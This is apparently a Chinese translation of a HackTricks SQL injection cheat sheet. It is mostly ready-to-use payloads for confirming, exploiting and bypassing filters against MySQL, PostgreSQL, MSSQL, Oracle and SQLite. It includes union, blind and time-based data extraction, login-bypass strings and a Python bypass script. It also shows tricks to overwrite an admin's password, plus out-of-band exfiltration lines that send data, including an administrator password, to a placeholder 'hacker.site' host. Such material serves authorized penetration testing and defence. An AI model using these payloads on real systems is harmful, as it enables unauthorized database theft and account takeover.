SQL Injection

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

什么是 SQL injection?

SQL injection 是一种安全漏洞,允许攻击者干扰应用的数据库查询。该漏洞可能使攻击者能够查看修改删除他们不该访问的数据,包括其他用户的信息或应用可访问的任何数据。这些行为可能导致应用的功能或内容发生永久性更改,甚至导致服务器被妥协或 denial of service。

入口点检测

当站点因对与 SQLi 相关的输入产生异常服务器响应而看起来vulnerable to SQL injection (SQLi)时,第一步是要了解如何在不破坏查询的情况下向查询注入数据。这需要有效识别从当前上下文转义的方法。These are some useful examples:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

接下来,你需要知道如何 修复查询以避免错误。为了修复查询,你可以 输入 数据使 之前的查询接受新数据,或者你也可以直接 输入 你的数据并 在末尾添加注释符号

注意:如果你能看到错误消息,或者能在查询可用和不可用时发现差异,这一步会更容易。

注释

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

使用逻辑运算进行确认

确认 SQL injection 漏洞的可靠方法之一是执行一个逻辑运算并观察预期结果。例如,如果 GET 参数 ?username=Peter 在修改为 ?username=Peter' or '1'='1 后返回相同内容,则表明存在 SQL injection 漏洞。

类似地,应用数学运算也是一种有效的确认技术。例如,如果访问 ?id=1?id=2-1 得到相同结果,则表明存在 SQL injection。

以下示例演示了使用逻辑运算进行确认:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

该词表旨在以所提出的方式尝试确认 SQLinjections

真实 SQLi ``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```

使用时间确认

在某些情况下,你在测试的页面不会注意到任何变化。因此,一个发现 blind SQL injections的好方法是让 DB 执行操作,从而对页面的加载时间产生影响
因此,我们将在 SQL 查询中 concat 一个会花费大量时间完成的操作:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

在某些情况下,sleep functions 不会被允许。然后,与其使用那些函数,你可以让查询执行复杂操作,这些操作会花费几秒钟。这些技术的示例将会在每种技术(如果有的话)中分别说明

识别后端

识别后端的最佳方法是尝试执行不同后端的函数。你可以使用上一节的 sleep functions 或者下面这些(表格来自 payloadsallthethings

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

另外,如果你可以看到查询的输出,你可以让它打印数据库的版本

Tip

接下来我们将讨论针对不同类型的 SQL Injection 的不同利用方法。我们将以 MySQL 为例。

使用 PortSwigger 识别

SQL injection cheat sheet | Web Security Academy

利用 Union Based

检测列数

如果你能看到查询的输出,这是最好的利用方式。
首先,我们需要找出初始请求返回的数量。这是因为两个查询必须返回相同数量的列
通常有两种方法用于此目的:

Order/Group by

要确定查询中的列数,逐步调整 ORDER BYGROUP BY 子句中使用的数字,直到收到错误响应为止。尽管 GROUP BYORDER BY 在 SQL 中的功能不同,但在确定查询的列数时,两者可以以相同的方式使用。

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

选择越来越多的 null 值,直到查询正确:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

你应该使用 null值,因为在某些情况下查询两侧列的类型必须相同,而 null 在所有情况下都是有效的。

提取数据库名、表名和列名

在下面的示例中,我们将检索所有数据库的名称、某个数据库的表名、以及表的列名:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

每种不同的数据库都有发现这些数据的不同方法,但其方法论始终相同。

利用隐藏的 Union Based

当查询的 output 可见,但看似无法实现 union-based injection 时,说明存在一个 hidden union-based injection。这种情况常常会导致 blind injection。要将 blind injection 转换为 union-based,需要识别后端正在执行的 query

这可以通过结合 blind injection 技术和目标 Database Management System (DBMS) 的默认表来实现。为了解这些默认表,建议查阅目标 DBMS 的文档。

一旦提取出该 query,就需要调整你的 payload 以安全地关闭原始 query。随后在 payload 中追加一个 union query,从而利用新可用的 union-based injection。

欲了解更全面的见解,请参阅完整文章 Healing Blind Injections.

利用 Error based

如果因为某种原因你 cannot 看到该 queryoutput,但你可以 see the error messages,你可以利用这些错误信息来 ex-filtrate 数据库的数据。
按照与 Union Based exploitation 类似的流程,你就可能成功 dump the DB.

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

利用 Blind SQLi

在这种情况下,你无法看到查询的结果或错误,但你可以区分查询何时返回一个truefalse的响应,因为页面上有不同的内容。
在这种情况下,你可以滥用该行为来 dump the database char by char:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

利用 Error Blind SQLi

这与之前的情况相同,但不是通过区分查询的 true/false 响应,而是可以区分SQL 查询是否产生 error(可能因为 HTTP 服务器崩溃)。因此,在这种情况下你可以在每次正确猜出字符时强制触发一个 SQLerror:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Exploiting Time Based SQLi

在这种情况下,基于页面上下文,没有任何方法可以区分查询的响应。但是,如果猜测的字符正确,你可以让页面加载时间更长。我们之前已经看到过这一技术被用来confirm a SQLi vuln.

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

你可以使用 stacked queries 来 连续执行多个查询。请注意,虽然后续的查询会被执行,但结果不会返回给应用程序。因此,这种技术主要适用于与 blind vulnerabilities 相关的场景,在这种情况下你可以使用第二个查询来触发 DNS 查询、条件错误或时间延迟。

Oracle 不支持 stacked queries. MySQL, MicrosoftPostgreSQL 支持它们: QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

如果 没有其他 利用方法 奏效,你可以尝试让 database ex-filtrate 信息到由你控制的 external host。例如,通过 DNS 查询:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

通过 XXE 进行 Out of band data exfiltration

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

自动化利用

请查看 SQLMap Cheatsheet 使用 sqlmap 来利用 SQLi 漏洞。

特定技术信息

我们已经讨论了利用 SQL Injection 漏洞的所有方法。请在本书中查找与数据库技术相关的更多技巧:

或者你可以在 https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection 找到 大量关于 MySQL, PostgreSQL, Oracle, MSSQL, SQLite 和 HQL 的技巧

认证绕过

尝试绕过登录功能的列表:

Login bypass List

Raw hash 认证绕过

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

该查询展示了当在认证检查中使用 MD5 并将 raw output 设置为 true 时出现的漏洞,使系统容易受到 SQL injection。攻击者可以通过构造输入,使其在被哈希后产生意外的 SQL 命令片段,从而获得未授权访问。

md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

注入哈希认证绕过

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

推荐列表

你应该将列表中的每一行作为用户名,密码始终为:Pass1234.\
(这些 payloads 也包含在本节开头提到的那个大列表中)

GBK Authentication Bypass

如果 ’ 被转义,你可以使用 %A8%27;当 ’ 被转义时它会被创建为:0xA80x5c0x27 (╘’)

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Python 脚本:

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Polyglot injection (multicontext)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

插入语句

修改现有对象/用户的密码

为此,你应该尝试 创建一个名称与“主对象”相同的新对象(在用户情形下通常是 admin),并修改某些内容:

  • Create user named: AdMIn (uppercase & lowercase letters)
  • Create a user named: admin=
  • SQL Truncation Attack (when there is some kind of length limit in the username or email) –> Create user with name: admin [a lot of spaces] a

SQL Truncation Attack

如果数据库存在漏洞且用户名的最大字符数例如为 30,而你想模仿用户 admin,尝试创建一个用户名为:“admin [30 spaces] a” 并随意设置密码。

数据库会 检查 所输入的 用户名 是否 存在 于数据库中。若 不存在,它会将该 用户名 截断允许的最大字符数(在此例中为:“admin [25 spaces]”),然后它将自动移除结尾的所有空格并在数据库中将用户 “admin” 的密码更新为新密码**(可能会出现一些错误,但这并不意味着该攻击没有成功)**。

More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert time based checking

Add as much ','','' as you consider to exit the VALUES statement. If delay is executed, you have a SQLInjection.

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

在 MySQL 中,ON DUPLICATE KEY UPDATE 子句用于指定当尝试插入一行导致在 UNIQUE index 或 PRIMARY KEY 中出现重复值时,数据库应采取的操作。下面的示例演示了如何利用此特性来修改管理员账户的密码:

Example Payload Injection:

可以构造如下的 injection payload,其中尝试向 users 表插入两行。第一行是诱饵,第二行针对现有管理员的邮箱,目的是更新其密码:

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Here’s how it works:

  • 该查询尝试插入两行:一行为 generic_user@example.com,另一行为 admin_generic@example.com
  • 如果 admin_generic@example.com 的记录已存在,ON DUPLICATE KEY UPDATE 子句会触发,指示 MySQL 将该现有记录的 password 字段更新为 “bcrypt_hash_of_newpassword”。
  • 因此,可以使用 admin_generic@example.com 尝试进行认证,密码为对应于该 bcrypt 哈希的值(“bcrypt_hash_of_newpassword” 表示新密码的 bcrypt 哈希,应替换为所需密码的实际哈希)。

提取信息

同时创建 2 个账户

在尝试创建新用户时,需要提供 username、password 和 email:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

使用十进制或十六进制

使用此技术,你只需创建一个账号就能提取信息。重要的是:你不需要注释任何内容。

使用 hex2decsubstr:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

要获取文本,您可以使用:

__import__('binascii').unhexlify(hex(215573607263)[2:])

使用 hexreplace (以及 substr):

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Routed SQL injection

Routed SQL injection 是一种情形,其中 injectable query 并非直接产生 output 的查询,而是该 injectable query 的 output 被传递给产生 output 的另一个查询。 (From Paper)

示例:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Bypass

Initial bypasses from here

No spaces bypass

No Space (%20) - bypass 使用空白字符替代

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - 使用注释进行 bypass

?id=1/*comment*/and/**/1=1/**/--

No Whitespace - bypass using parenthesis

?id=(1)and(1)=(1)--

No commas bypass

No Comma - 绕过:使用 OFFSET, FROM and JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

通用 Bypasses

Blacklist 使用关键字 - bypass 使用大写/小写

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

针对使用 keywords(case insensitive)的 Blacklist — 通过使用 equivalent operator 进行 bypass 绕过

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Scientific Notation WAF bypass

有关此技巧的更深入解释,请参见 gosecure blog.\
基本上,你可以以意想不到的方式使用 scientific notation 来绕过 WAF:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

绕过列名限制

首先,注意到如果原始查询和你想要从中提取 flag 的表具有相同数量的列,你可以直接使用:0 UNION SELECT * FROM flag

可以在不使用列名的情况下访问表的第三列,使用如下查询:SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;,所以在一个 sqlinjection 中这将看起来像:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

或者使用 comma bypass:

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

该技巧来自 https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

Column/tablename injection in SELECT list via subqueries

如果用户输入被串接到 SELECT 列表或表/列标识符中,prepared statements 无济于事,因为 bind parameters 只保护值,而不是标识符。一个常见的易受攻击的模式是:

// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);

利用思路: 将子查询注入到字段位置以提取任意数据:

-- Legit
SELECT user_name FROM vte_users WHERE id=1;

-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;

注意:

  • 即便 WHERE 子句使用绑定参数 (bound parameter),这仍然可行,因为标识符列表仍通过字符串拼接 (string-concatenated)。
  • 一些栈还允许你控制表名 (tablename injection),从而实现跨表读取。
  • 输出接收点可能会将选定值反映到 HTML/JSON 中,直接导致 XSS 或 token exfiltration 于响应中。

缓解措施:

  • 切勿从用户输入拼接标识符。将允许的列名映射到固定的 allow-list,并正确引用标识符。
  • 如果需要动态表访问,应限制为有限集合,并在服务器端从安全映射中解析。

SQLi via AST/filter-to-SQL converters (JSON_VALUE predicates)

一些框架会convert structured filter ASTs into raw SQL boolean fragments(例如,metadata filters 或 JSON predicates),然后string-concatenate这些片段成更大的查询。如果转换器wraps string values as '%s' without escaping,用户输入中的单引号会终止字面量,剩余部分将被解析为 SQL。

Example pattern (conceptual):

JSON_VALUE(metadata, '$.department') = '<user_value>'

Payload (URL-encoded): %27%20OR%20%271%27%3D%271 → 解码后:' OR '1'='1 → 谓词变为:

JSON_VALUE(metadata, '$.department') = '' OR '1'='1'

ORDER BY / identifier-based SQLi (PDO limitation)

预处理语句 不能绑定标识符(列名或表名)。一个常见的不安全模式是取用户控制的 sort 参数并通过字符串拼接构建 ORDER BY,有时将输入用反引号包裹以“清理”。这仍然会导致 SQLi,因为标识符上下文由攻击者控制。

易受攻击的模式:

$sort = $_POST['sort'];
$q = "SELECT id,item_name FROM items WHERE user_id=? ORDER BY `$sort`";
$stmt = $pdo->prepare($q);
$stmt->execute([$user_id]);

流量中的信号:

  • POST 中的 sort 参数(通常为 sort=column),不是固定的 allow-list。
  • 更改 sort 会破坏查询或改变输出的排序。

WAF bypass 建议工具

GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester \xc2\xb7 GitHub

其他指南

Brute-Force 检测列表

Auto_Wordlists/wordlists/sqli.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks